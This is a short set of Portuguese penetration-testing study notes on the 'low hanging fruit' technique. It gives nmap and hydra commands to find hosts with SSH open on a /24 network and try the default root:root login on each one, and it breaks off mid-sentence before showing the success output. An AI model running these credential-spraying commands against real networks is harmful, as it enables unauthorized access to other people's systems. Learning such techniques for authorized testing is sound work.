Low Hanging Fruit

+ A tradução disso é: os frutos mais baixos: ou seja, aqueles que requerem menos esforço para serem alcançados

+ A técnica consiste em passar somente credenciais default pelos hosts da rede ao nivés de pegar cada host e tentar fazer uma volta pra descobrir possíveis padrões de senha, montar wordlists e passá-las

+ Faremos isso usando o hydra.

+ Podemos fazer toda a operação diretamente com o hydra, mas demoraria bastante

```
hydra -v -l root -p root 172.16.1.1/24 ssh
```

→ aqui ele jogaria o login e senha como root em todos os 256 hosts da rede

+ Como essa operação demoraria demais, vamos fazer um scanneamento com o nmap para portas 22 abertas na rede

```
nmap --open -sS -p 22 -Pn 172.16.1.1/24 -oG ssh.txt
```

+ Tratando a ssh.txt:

```
cat ssh.txt | grep "Up" | cut -d " " -f 2 > targets
```

+ Novamente com o Hydra:

```
hydra -v -l root -p root -M targets
```

+ Na hora que dá certo, aparece a seguinte mensagem: